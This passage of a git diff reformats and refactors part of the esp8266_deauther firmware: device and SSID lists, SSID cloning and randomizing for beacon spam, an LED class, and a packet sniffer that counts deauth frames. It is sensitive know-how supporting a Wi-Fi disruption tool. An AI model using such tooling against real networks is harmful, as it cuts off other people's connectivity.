false; - list->replace(num, newDevice); + Device newDevice = list->get(num); + + newDevice.selected = false; + list->replace(num, newDevice); } void Names::internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected) { - uint8_t* deviceMac = (uint8_t*)malloc(6); - if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH); - char* deviceName = (char*)malloc(name.length() + 1); - uint8_t* deviceBssid = NULL; + uint8_t* deviceMac = (uint8_t*)malloc(6); - name = fixUtf8(name); - - memcpy(deviceMac, mac, 6); - strcpy(deviceName, name.c_str()); + if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH); + char* deviceName = (char*)malloc(name.length() + 1); + uint8_t* deviceBssid = NULL; - if (bssid) { - deviceBssid = (uint8_t*)malloc(6); - memcpy(deviceBssid, bssid, 6); - } + name = fixUtf8(name); - if (ch < 1 || ch > 14) ch = 1; + memcpy(deviceMac, mac, 6); + strcpy(deviceName, name.c_str()); - Device newDevice; - newDevice.mac = deviceMac; - newDevice.name = deviceName; - newDevice.apBssid = deviceBssid; - newDevice.ch = ch; - newDevice.selected = selected; + if (bssid) { + deviceBssid = (uint8_t*)malloc(6); + memcpy(deviceBssid, bssid, 6); + } - list->add(newDevice); + if ((ch < 1) || (ch > 14)) ch = 1; + + Device newDevice; + newDevice.mac = deviceMac; + newDevice.name = deviceName; + newDevice.apBssid = deviceBssid; + newDevice.ch = ch; + newDevice.selected = selected; + + list->add(newDevice); } void Names::internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected) { - uint8_t mac[6]; - if (!strToMac(macStr, mac)) return; + uint8_t mac[6]; - if (bssidStr.length() == 17) { - uint8_t bssid[6]; - strToMac(bssidStr, bssid); - internal_add(mac, name, bssid, ch, selected); - } else { - internal_add(mac, name, NULL, ch, selected); - } + if (!strToMac(macStr, mac)) return; + + if (bssidStr.length() == 17) { + uint8_t bssid[6]; + strToMac(bssidStr, bssid); + internal_add(mac, name, bssid, ch, selected); + } else { + internal_add(mac, name, NULL, ch, selected); + } } void Names::internal_remove(int num) { - free(list->get(num).mac); - free(list->get(num).name); - if (list->get(num).apBssid) - free(list->get(num).apBssid); - list->remove(num); + free(list->get(num).mac); + free(list->get(num).name); + + if (list->get(num).apBssid) free(list->get(num).apBssid); + list->remove(num); } void Names::internal_removeAll() { - while(count() > 0){ - free(list->get(0).mac); - free(list->get(0).name); - if (list->get(0).apBssid) - free(list->get(0).apBssid); - list->remove(0); - } -} + while (count() > 0) { + free(list->get(0).mac); + free(list->get(0).name); - - + if (list->get(0).apBssid) free(list->get(0).apBssid); + list->remove(0); + } +} \ No newline at end of file diff --git a/esp8266_deauther/Names.h b/esp8266_deauther/Names.h index 35151f3..4de2bf0 100644 --- a/esp8266_deauther/Names.h +++ b/esp8266_deauther/Names.h @@ -7,7 +7,7 @@ extern "C" { #include "user_interface.h" } -#include +#include "ArduinoJson.h" #include "language.h" #include "SimpleList.h" @@ -15,9 +15,9 @@ extern "C" { #define NAME_MAX_LENGTH 16 extern void checkFile(String path, String data); -extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer &jsonBuffer); -extern bool writeFile(String path, String &buf); -extern bool appendFile(String path, String &buf); +extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer); +extern bool writeFile(String path, String& buf); +extern bool appendFile(String path, String& buf); extern bool strToMac(String macStr, uint8_t* mac); extern String searchVendor(uint8_t* mac); extern String fixUtf8(String str); @@ -26,81 +26,79 @@ extern String escape(String str); extern String bytesToStr(uint8_t* b, uint32_t size); class Names { - public: - Names(); - - void load(); - void load(String filepath); - void save(bool force); - void save(bool force,String filepath); - void sort(); - - String find(uint8_t* mac); - int findID(uint8_t* mac); + public: + Names(); - void print(int num); - void print(int num, bool header, bool footer); - void select(int num); - void select(String name); - void deselect(int num); - void deselect(String name); - void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force); - void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force); - void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected); - void remove(int num); - - void printAll(); - void printSelected(); - void selectAll(); - void deselectAll(); - void removeAll(); - - uint8_t* getMac(int num); - uint8_t* getBssid(int num); - String getMacStr(int num); - String getBssidStr(int num); - String getName(int num); - String getVendorStr(int num); - String getSelectedStr(int num); - uint8_t getCh(int num); - bool getSelected(int num); - bool isStation(int num); + void load(); + void load(String filepath); + void save(bool force); + void save(bool force, String filepath); + void sort(); - void setName(int num, String name); - void setMac(int num, String macStr); - void setCh(int num, uint8_t ch); - void setBSSID(int num, String bssidStr); - - int count(); - int selected(); - int stations(); + String find(uint8_t* mac); + int findID(uint8_t* mac); - bool check(int num); - private: - String FILE_PATH = "/names.json"; - bool changed = false; - - struct Device{ - uint8_t* mac; // mac address - char* name; // name of saved device - uint8_t* apBssid; // mac address of AP (if saved device is a station) - uint8_t ch; // Wi-Fi channel of Device - bool selected; // select for attacking - }; - - SimpleList* list; - - int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd); - bool internal_check(int num); - void internal_select(int num); - void internal_deselect(int num); - void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected); - void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected); - void internal_remove(int num); - void internal_removeAll(); + void print(int num); + void print(int num, bool header, bool footer); + void select(int num); + void select(String name); + void deselect(int num); + void deselect(String name); + void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force); + void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force); + void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected); + void remove(int num); + + void printAll(); + void printSelected(); + void selectAll(); + void deselectAll(); + void removeAll(); + + uint8_t* getMac(int num); + uint8_t* getBssid(int num); + String getMacStr(int num); + String getBssidStr(int num); + String getName(int num); + String getVendorStr(int num); + String getSelectedStr(int num); + uint8_t getCh(int num); + bool getSelected(int num); + bool isStation(int num); + + void setName(int num, String name); + void setMac(int num, String macStr); + void setCh(int num, uint8_t ch); + void setBSSID(int num, String bssidStr); + + int count(); + int selected(); + int stations(); + + bool check(int num); + + private: + String FILE_PATH = "/names.json"; + bool changed = false; + + struct Device { + uint8_t* mac; // mac address + char * name; // name of saved device + uint8_t* apBssid; // mac address of AP (if saved device is a station) + uint8_t ch; // Wi-Fi channel of Device + bool selected; // select for attacking + }; + + SimpleList* list; + + int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd); + bool internal_check(int num); + void internal_select(int num); + void internal_deselect(int num); + void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected); + void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected); + void internal_remove(int num); + void internal_removeAll(); }; -#endif - - - +#endif // ifndef Names_h \ No newline at end of file diff --git a/esp8266_deauther/Neopixel.cpp b/esp8266_deauther/Neopixel.cpp index 2523b66..15e7e2e 100644 --- a/esp8266_deauther/Neopixel.cpp +++ b/esp8266_deauther/Neopixel.cpp @@ -1,110 +1,27 @@ -#include "Neopixel.h" - -Neopixel::Neopixel() { +#include "NeopixelLED.h" +NeopixelLED::NeopixelLED(int num, uint8_t dataPin, uint8_t brightness) { + strip = new Adafruit_NeoPixel(num, dataPin, NEO_GRB + NEO_KHZ800); + setBrightness(brightness); } -// setup pins -void Neopixel::setup(){ - if(!settings.getLedEnabled()) return; - - // ===== adjustable ===== // - strip.setBrightness(100); - strip.begin(); - strip.show(); - // ====================== // - - setMode(LED_MODE_OFF, true); +NeopixelLED::~NeopixelLED() { + delete strip; } -void Neopixel::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) { - // debug output - if (output){ - char s[30]; - sprintf(s,str(L_OUTPUT_A).c_str(), r, g, b); - prnt(String(s)); - } - - // ===== adjustable ===== // - if (brightness > 0 && brightness < 100) { - if (r > 0 && brightness < 100) r = r * brightness / 100; - if (g > 0 && brightness < 100) g = g * brightness / 100; - if (b > 0 && brightness < 100) b = b * brightness / 100; - } - - for(uint16_t i=0;ibegin(); + strip->show(); } -// customize color codes for different LED modes -void Neopixel::setMode(uint8_t mode, bool force) { - // ===== adjustable ===== // - if (mode != Neopixel::mode || force) { - Neopixel::mode = mode; - switch (mode) { - case LED_MODE_OFF: - setColor(0, 0, 0, LED_MODE_BRIGHTNESS, false); - break; - case LED_MODE_SCAN: - if(LED_DYNAMIC_BRIGHTNESS) setColor(0, 0, 255, (uint8_t)(scan.getScaleFactor(100)*scan.getPacketRate()), false); // change color depending on packet rate - else setColor(0, 0, 255, LED_MODE_BRIGHTNESS, false); - break; - case LED_MODE_ATTACK: - setColor(255, 255, 0, LED_MODE_BRIGHTNESS, false); - break; - case LED_MODE_DEAUTH: - if(LED_DYNAMIC_BRIGHTNESS) setColor(255, 0, 0, scan.deauths > 255 ? 255 : scan.deauths , false); // brightness depending on how many deauths/s - else setColor(255, 0, 0, LED_MODE_BRIGHTNESS, false); - break; - case LED_MODE_IDLE: - setColor(0, 255, 0, LED_MODE_BRIGHTNESS, false); - break; - } - } - // ====================== // +void NeopixelLED::setColor(uint8_t r, uint8_t g, uint8_t b) { + int num = strip->numPixels(); + + for (uint16_t i = 0; i < num; i++) strip->setPixelColor(i, strip->Color(r, g, b)); + strip->show(); } -void Neopixel::tempEnable() { - tempEnabled = true; - prntln(L_ENABLED); -} - -void Neopixel::tempDisable() { - tempEnabled = false; - prntln(L_DISABLED); -} - -bool Neopixel::getTempEnabled() { - return tempEnabled; -} - -void Neopixel::setColor(uint8_t r, uint8_t g, uint8_t b) { - setColor(r, g, b, 100, true); -} - -void Neopixel::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness) { - setColor(r, g, b, brightness, true); -} - -void Neopixel::update() { - if (!tempEnabled) return; - if (!settings.getLedEnabled() && tempEnabled) tempDisable(); - - if (scan.isScanning() && scan.deauths < settings.getMinDeauths()) setMode(LED_MODE_SCAN, false); - else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE_DEAUTH, false); - else if (attack.isRunning()) setMode(LED_MODE_ATTACK, false); - else setMode(LED_MODE_IDLE, false); -} - - - +void NeopixelLED::setBrightness(uint8_t brightness) { + if (brightness > 100) brightness = 100; + strip->setBrightness(brightness); +} \ No newline at end of file diff --git a/esp8266_deauther/NeopixelLED.h b/esp8266_deauther/NeopixelLED.h new file mode 100644 index 0000000..0a9a2de --- /dev/null +++ b/esp8266_deauther/NeopixelLED.h @@ -0,0 +1,21 @@ +#ifndef NeopixelLED_H +#define NeopixelLED_H + +#include "StatusLED.h" +#include + +class NeopixelLED : public StatusLED { + public: + NeopixelLED(int num, uint8_t dataPin, uint8_t brightness); + ~NeopixelLED(); + + void setup(); + void setColor(uint8_t r, uint8_t g, uint8_t b); + void setBrightness(uint8_t brightness); + void setMode(uint8_t mode, bool force); + + private: + Adafruit_NeoPixel* strip; +}; + +#endif // ifndef NeopixelLED_H \ No newline at end of file diff --git a/esp8266_deauther/SSIDs.cpp b/esp8266_deauther/SSIDs.cpp index 538f976..c435498 100644 --- a/esp8266_deauther/SSIDs.cpp +++ b/esp8266_deauther/SSIDs.cpp @@ -1,310 +1,316 @@ #include "SSIDs.h" SSIDs::SSIDs() { - list = new SimpleList; + list = new SimpleList; } void SSIDs::load() { - internal_removeAll(); - DynamicJsonBuffer jsonBuffer(4000); + internal_removeAll(); + DynamicJsonBuffer jsonBuffer(4000); - checkFile(FILE_PATH, str(SS_JSON_DEFAULT)); - JsonObject &obj = parseJSONFile(FILE_PATH, jsonBuffer); - JsonArray &arr = obj.get(str(SS_JSON_SSIDS)); + checkFile(FILE_PATH, str(SS_JSON_DEFAULT)); + JsonObject& obj = parseJSONFile(FILE_PATH, jsonBuffer); + JsonArray & arr = obj.get(str(SS_JSON_SSIDS)); - for (uint32_t i = 0; i < arr.size() && i < SSID_LIST_SIZE; i++) { - JsonArray &tmpArray = arr.get(i); - internal_add(tmpArray.get(0), tmpArray.get(1), tmpArray.get(2)); - } + for (uint32_t i = 0; i < arr.size() && i < SSID_LIST_SIZE; i++) { + JsonArray& tmpArray = arr.get(i); + internal_add(tmpArray.get(0), tmpArray.get(1), tmpArray.get(2)); + } - prnt(SS_LOADED); - prntln(FILE_PATH); + prnt(SS_LOADED); + prntln(FILE_PATH); } void SSIDs::load(String filepath) { - String tmp = FILE_PATH; - FILE_PATH = filepath; - load(); - FILE_PATH = tmp; + String tmp = FILE_PATH; + + FILE_PATH = filepath; + load(); + FILE_PATH = tmp; } void SSIDs::removeAll() { - internal_removeAll(); - prntln(SS_CLEARED); - changed = true; + internal_removeAll(); + prntln(SS_CLEARED); + changed = true; } void SSIDs::save(bool force) { - if (!force && !changed) return; + if (!force && !changed) return; - String buf = String(); // create buffer - buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false, - buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + String(OPEN_BRACKET); // "ssids":[ - - if (!writeFile(FILE_PATH, buf)) { - prnt(F_ERROR_SAVING); - prntln(FILE_PATH); - return; - } - buf = String(); // clear buffer - - String name; - int c = count(); - - for (int i = 0; i < c; i++) { - name = escape(getName(i)); - - buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // ["name", - buf += b2s(getWPA2(i)) + String(COMMA); // false, - buf += String(getLen(i)) + String(CLOSE_BRACKET); // 12] - if(i < c-1) buf += COMMA; // , + String buf = String(); // create buffer + buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String( + DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false, + buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + + String(OPEN_BRACKET); // "ssids":[ - if(buf.length() >= 1024){ - if (!appendFile(FILE_PATH, buf)) { + if (!writeFile(FILE_PATH, buf)) { prnt(F_ERROR_SAVING); prntln(FILE_PATH); return; - } - - buf = String(); // clear buffer } - } - - buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]} - - if (!appendFile(FILE_PATH, buf)) { - prnt(F_ERROR_SAVING); + buf = String(); // clear buffer + + String name; + int c = count(); + + for (int i = 0; i < c; i++) { + name = escape(getName(i)); + + buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // ["name", + buf += b2s(getWPA2(i)) + String(COMMA); // false, + buf += String(getLen(i)) + String(CLOSE_BRACKET); // 12] + + if (i < c - 1) buf += COMMA; // , + + if (buf.length() >= 1024) { + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + buf = String(); // clear buffer + } + } + + buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]} + + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + prnt(SS_SAVED_IN); prntln(FILE_PATH); - return; - } - - prnt(SS_SAVED_IN); - prntln(FILE_PATH); - changed = false; + changed = false; } void SSIDs::save(bool force, String filepath) { - String tmp = FILE_PATH; - FILE_PATH = filepath; - save(force); - FILE_PATH = tmp; + String tmp = FILE_PATH; + + FILE_PATH = filepath; + save(force); + FILE_PATH = tmp; } void SSIDs::update() { - if (randomMode) { - if (currentTime - randomTime > randomInterval*1000) { - prntln(SS_RANDOM_INFO); - - for (int i = 0; i < SSID_LIST_SIZE; i++) { - SSID newSSID; + if (randomMode) { + if (currentTime - randomTime > randomInterval * 1000) { + prntln(SS_RANDOM_INFO); - if (check(i)) - newSSID = list->get(i); + for (int i = 0; i < SSID_LIST_SIZE; i++) { + SSID newSSID; - newSSID.name = String(); - newSSID.len = 32; - for (int i = 0; i < 32; i++) - newSSID.name += char(random(32, 127)); + if (check(i)) newSSID = list->get(i); - newSSID.wpa2 = random(0, 2); + newSSID.name = String(); + newSSID.len = 32; - if (check(i)) - list->replace(i, newSSID); - else - list->add(newSSID); - } - - randomTime = currentTime; - changed = true; + for (int i = 0; i < 32; i++) newSSID.name += char(random(32, 127)); + + newSSID.wpa2 = random(0, 2); + + if (check(i)) list->replace(i, newSSID); + else list->add(newSSID); + } + + randomTime = currentTime; + changed = true; + } } - } } String SSIDs::getName(int num) { - return check(num) ? list->get(num).name : String(); + return check(num) ? list->get(num).name : String(); } bool SSIDs::getWPA2(int num) { - return check(num) ? list->get(num).wpa2 : false; + return check(num) ? list->get(num).wpa2 : false; } -int SSIDs::getLen(int num){ - return check(num) ? list->get(num).len : 0; +int SSIDs::getLen(int num) { + return check(num) ? list->get(num).len : 0; } void SSIDs::setWPA2(int num, bool wpa2) { - SSID newSSID = list->get(num); - newSSID.wpa2 = wpa2; - list->replace(num, newSSID); + SSID newSSID = list->get(num); + + newSSID.wpa2 = wpa2; + list->replace(num, newSSID); } String SSIDs::getEncStr(int num) { - if (getWPA2(num)) return "WPA2"; - else return "-"; + if (getWPA2(num)) return "WPA2"; + else return "-"; } void SSIDs::remove(int num) { - if (!check(num)) return; - internal_remove(num); - prnt(SS_REMOVED); - prntln(getName(num)); - changed = true; + if (!check(num)) return; + + internal_remove(num); + prnt(SS_REMOVED); + prntln(getName(num)); + changed = true; } String SSIDs::randomize(String name) { - int ssidlen = name.length(); - if (ssidlen > 32) name = name.substring(0, 32); - if (ssidlen < 32) { - for (int i = ssidlen; i < 32; i++) { - int rnd = random(3); - if (i < 29 && rnd == 0) { // ZERO WIDTH SPACE - name += char(0xE2); - name += char(0x80); - name += char(0x8B); - i += 2; - } else if (i < 30 && rnd == 1) { // NO-BREAK SPACE - name += char(0xC2); - name += char(0xA0); - i += 1; - } else { - name += char(0x20); // SPACE - } + int ssidlen = name.length(); + + if (ssidlen > 32) name = name.substring(0, 32); + + if (ssidlen < 32) { + for (int i = ssidlen; i < 32; i++) { + int rnd = random(3); + + if ((i < 29) && (rnd == 0)) { // ZERO WIDTH SPACE + name += char(0xE2); + name += char(0x80); + name += char(0x8B); + i += 2; + } else if ((i < 30) && (rnd == 1)) { // NO-BREAK SPACE + name += char(0xC2); + name += char(0xA0); + i += 1; + } else { + name += char(0x20); // SPACE + } + } } - } - return name; + return name; } void SSIDs::add(String name, bool wpa2, int clones, bool force) { - if (list->size() >= SSID_LIST_SIZE) { - if (force) { - internal_remove(0); - } else { - prntln(SS_ERROR_FULL); - return; + if (list->size() >= SSID_LIST_SIZE) { + if (force) { + internal_remove(0); + } else { + prntln(SS_ERROR_FULL); + return; + } } - } - if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE; - - for (int i = 0; i < clones; i++) { - internal_add(name, wpa2, name.length()); - if (list->size() > SSID_LIST_SIZE) internal_remove(0); - } + if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE; - prnt(SS_ADDED); - prntln(name); - changed = true; -} + for (int i = 0; i < clones; i++) { + internal_add(name, wpa2, name.length()); -void SSIDs::cloneSelected(bool force){ - if(accesspoints.selected() > 0){ - int clones = SSID_LIST_SIZE; - if(!force) clones -= list->size(); - clones /= accesspoints.selected(); - - int apCount = accesspoints.count(); - for(int i=0;isize() > SSID_LIST_SIZE) internal_remove(0); } - } + + prnt(SS_ADDED); + prntln(name); + changed = true; } -bool SSIDs::getRandom(){ - return randomMode; +void SSIDs::cloneSelected(bool force) { + if (accesspoints.selected() > 0) { + int clones = SSID_LIST_SIZE; + + if (!force) clones -= list->size(); + clones /= accesspoints.selected(); + + int apCount = accesspoints.count(); + + for (int i = 0; i < apCount; i++) { + if (accesspoints.getSelected(i)) add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force); + } + } } -void SSIDs::replace(int num, String name, bool wpa2){ - if(!check(num)) return; - - int len = name.length(); - if(len > 32) - len = 32; - SSID newSSID; - newSSID.name = randomize(name); - newSSID.wpa2 = wpa2; - newSSID.len = (uint8_t)len; - list->replace(num,newSSID); +bool SSIDs::getRandom() { + return randomMode; +} - prnt(SS_REPLACED); - prntln(name); - changed = true; +void SSIDs::replace(int num, String name, bool wpa2) { + if (!check(num)) return; + + int len = name.length(); + + if (len > 32) len = 32; + SSID newSSID; + newSSID.name = randomize(name); + newSSID.wpa2 = wpa2; + newSSID.len = (uint8_t)len; + list->replace(num, newSSID); + + prnt(SS_REPLACED); + prntln(name); + changed = true; } void SSIDs::print(int num) { - print(num, true, false); + print(num, true, false); } void SSIDs::print(int num, bool header, bool footer) { - if (!check(num)) return; - if (header) { - prntln(SS_TABLE_HEADER); - prntln(SS_TABLE_DIVIDER); - } - - prnt(buildString(String(), (String)num, 2)); - prnt(buildString(String(SPACE), getEncStr(num), 5)); - prntln(buildString(String(SPACE) + getName(num), String(), 33)); - - if (footer) prntln(SS_TABLE_DIVIDER); + if (!check(num)) return; + + if (header) { + prntln(SS_TABLE_HEADER); + prntln(SS_TABLE_DIVIDER); + } + + prnt(buildString(String(), (String)num, 2)); + prnt(buildString(String(SPACE), getEncStr(num), 5)); + prntln(buildString(String(SPACE) + getName(num), String(), 33)); + + if (footer) prntln(SS_TABLE_DIVIDER); } void SSIDs::printAll() { - prntln(SS_HEADER); - int c = count(); - if (c == 0) - prntln(SS_ERROR_EMPTY); - else - for (int i = 0; i < c; i++) - print(i, i == 0, i == c - 1); + prntln(SS_HEADER); + int c = count(); + + if (c == 0) prntln(SS_ERROR_EMPTY); + else + for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1); } int SSIDs::count() { - return list->size(); + return list->size(); } bool SSIDs::check(int num) { - return num >= 0 && num < count(); + return num >= 0 && num < count(); } void SSIDs::enableRandom(uint32_t randomInterval) { - randomMode = true; - SSIDs::randomInterval = randomInterval; - prntln(SS_RANDOM_ENABLED); - update(); + randomMode = true; + SSIDs::randomInterval = randomInterval; + prntln(SS_RANDOM_ENABLED); + update(); } void SSIDs::disableRandom() { - randomMode = false; - internal_removeAll(); - prntln(SS_RANDOM_DISABLED); + randomMode = false; + internal_removeAll(); + prntln(SS_RANDOM_DISABLED); } void SSIDs::internal_add(String name, bool wpa2, int len) { - if(len > 32) { - name = name.substring(0,32); - len = 32; - } else if (len < 32) { - name = randomize(name); - } + if (len > 32) { + name = name.substring(0, 32); + len = 32; + } else if (len < 32) { + name = randomize(name); + } - name = fixUtf8(name); - - SSID newSSID; - newSSID.name = name; - newSSID.wpa2 = wpa2; - newSSID.len = (uint8_t)len; - - list->add(newSSID); + name = fixUtf8(name); + + SSID newSSID; + newSSID.name = name; + newSSID.wpa2 = wpa2; + newSSID.len = (uint8_t)len; + + list->add(newSSID); } void SSIDs::internal_remove(int num) { - list->remove(num); + list->remove(num); } void SSIDs::internal_removeAll() { - list->clear(); -} - - - + list->clear(); +} \ No newline at end of file diff --git a/esp8266_deauther/SSIDs.h b/esp8266_deauther/SSIDs.h index 43e6d5b..ba78461 100644 --- a/esp8266_deauther/SSIDs.h +++ b/esp8266_deauther/SSIDs.h @@ -7,7 +7,7 @@ extern "C" { #include "user_interface.h" } -#include +#include "ArduinoJson.h" #include "language.h" #include "SimpleList.h" #include "Settings.h" @@ -20,70 +20,68 @@ extern uint32_t currentTime; extern Accesspoints accesspoints; extern void checkFile(String path, String data); -extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer &jsonBuffer); -extern bool appendFile(String path, String &buf); -extern bool writeFile(String path, String &buf); +extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer); +extern bool appendFile(String path, String& buf); +extern bool writeFile(String path, String& buf); extern void readFileToSerial(String path); extern String fixUtf8(String str); extern String buildString(String left, String right, int maxLen); extern String escape(String str); class SSIDs { - public: - SSIDs(); - - void load(); - void load(String filepath); - void save(bool force); - void save(bool force, String filepath); - void update(); + public: + SSIDs(); - void print(int num); - void print(int num, bool header, bool footer); - void add(String name, bool wpa2, int clones, bool force); - void cloneSelected(bool force); - void remove(int num); - void enableRandom(uint32_t randomInterval); - void disableRandom(); - bool getRandom(); - - String getName(int num); - bool getWPA2(int num); - String getEncStr(int num); - int getLen(int num); + void load(); + void load(String filepath); + void save(bool force); + void save(bool force, String filepath); + void update(); - void setWPA2(int num, bool wpa2); - void replace(int num, String name, bool wpa2); - - void printAll(); - void removeAll(); - - int count(); - private: - bool changed = false; - bool randomMode = false; - uint32_t randomInterval = 2000; - uint32_t randomTime = 0; - - struct SSID{ - String name; // SSID - bool wpa2; // WPA2 encrypted or not - uint8_t len; // original length (before editing it to be 32 characters) - }; - - String FILE_PATH = "/ssids.json"; - - SimpleList* list; + void print(int num); + void print(int num, bool header, bool footer); + void add(String name, bool wpa2, int clones, bool force); + void cloneSelected(bool force); + void remove(int num); + void enableRandom(uint32_t randomInterval); + void disableRandom(); + bool getRandom(); - bool check(int num); - String randomize(String name); + String getName(int num); + bool getWPA2(int num); + String getEncStr(int num); + int getLen(int num); - void internal_add(String name, bool wpa2, int add); - void internal_remove(int num); - void internal_removeAll(); + void setWPA2(int num, bool wpa2); + void replace(int num, String name, bool wpa2); + + void printAll(); + void removeAll(); + + int count(); + + private: + bool changed = false; + bool randomMode = false; + uint32_t randomInterval = 2000; + uint32_t randomTime = 0; + + struct SSID { + String name; // SSID + bool wpa2; // WPA2 encrypted or not + uint8_t len; // original length (before editing it to be 32 characters) + }; + + String FILE_PATH = "/ssids.json"; + + SimpleList* list; + + bool check(int num); + String randomize(String name); + + void internal_add(String name, bool wpa2, int add); + void internal_remove(int num); + void internal_removeAll(); }; -#endif - - - +#endif // ifndef SSIDs_h \ No newline at end of file diff --git a/esp8266_deauther/Scan.cpp b/esp8266_deauther/Scan.cpp index 381ca59..df60207 100644 --- a/esp8266_deauther/Scan.cpp +++ b/esp8266_deauther/Scan.cpp @@ -1,398 +1,426 @@ #include "Scan.h" Scan::Scan() { - list = new SimpleList; + list = new SimpleList; } void Scan::sniffer(uint8_t* buf, uint16_t len) { - if (!isSniffing()) return; + if (!isSniffing()) return; - packets++; - - if (len < 28) return; // drop frames that are too short to have a valid MAC header + packets++; - if (buf[12] == 0xc0 || buf[12] == 0xa0) { - tmpDeauths++; - return; - } - - // drop beacon frames, probe requests/responses and deauth/disassociation frames - if (buf[12] == 0x80 || buf[12] == 0x40 || buf[12] == 0x50/* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return; + if (len < 28) return; // drop frames that are too short to have a valid MAC header - // only allow data frames - // if(buf[12] != 0x08 && buf[12] != 0x88) return; - - uint8_t* macTo = &buf[16]; - uint8_t* macFrom = &buf[22]; - - if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) || macMulticast(macFrom)) return; - - int accesspointNum = findAccesspoint(macFrom); - if (accesspointNum >= 0) { - stations.add(macTo, accesspoints.getID(accesspointNum)); - } else { - accesspointNum = findAccesspoint(macTo); - if (accesspointNum >= 0) { - stations.add(macFrom, accesspoints.getID(accesspointNum)); + if ((buf[12] == 0xc0) || (buf[12] == 0xa0)) { + tmpDeauths++; + return; + } + + // drop beacon frames, probe requests/responses and deauth/disassociation frames + if ((buf[12] == 0x80) || (buf[12] == 0x40) || (buf[12] == 0x50) /* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return; + + // only allow data frames + // if(buf[12] != 0x08 && buf[12] != 0x88) return; + + uint8_t* macTo = &buf[16]; + uint8_t* macFrom = &buf[22]; + + if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) || + macMulticast(macFrom)) return; + + int accesspointNum = findAccesspoint(macFrom); + + if (accesspointNum >= 0) { + stations.add(macTo, accesspoints.getID(accesspointNum)); + } else { + accesspointNum = findAccesspoint(macTo); + + if (accesspointNum >= 0) { + stations.add(macFrom, accesspoints.getID(accesspointNum)); + } } - } } int Scan::findAccesspoint(uint8_t* mac) { - for (int i = 0; i < accesspoints.count(); i++) { - if (memcmp(accesspoints.getMac(i), mac, 6) == 0) return i; - } - return -1; + for (int i = 0; i < accesspoints.count(); i++) { + if (memcmp(accesspoints.getMac(i), mac, 6) == 0) return i; + } + return -1; } void Scan::start(uint8_t mode) { - start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel); + start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel); } -void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel) { - if(mode != SCAN_MODE_OFF) stop(); - - setWifiChannel(channel); - Scan::continueStartTime = currentTime; - Scan::snifferPacketTime = continueStartTime; - Scan::snifferOutputTime = continueStartTime; - Scan::continueTime = continueTime; - Scan::sniffTime = time; - Scan::channelHop = channelHop; - Scan::scanMode = mode; - Scan::scan_continue_mode = nextmode; +void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, + uint8_t channel) { + if (mode != SCAN_MODE_OFF) stop(); - if(sniffTime > 0 && sniffTime < 1000) sniffTime = 1000; + setWifiChannel(channel); + Scan::continueStartTime = currentTime; + Scan::snifferPacketTime = continueStartTime; + Scan::snifferOutputTime = continueStartTime; + Scan::continueTime = continueTime; + Scan::sniffTime = time; + Scan::channelHop = channelHop; + Scan::scanMode = mode; + Scan::scan_continue_mode = nextmode; - // Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode, time, scan_continue_mode, continueTime, channelHop, channel); + if ((sniffTime > 0) && (sniffTime < 1000)) sniffTime = 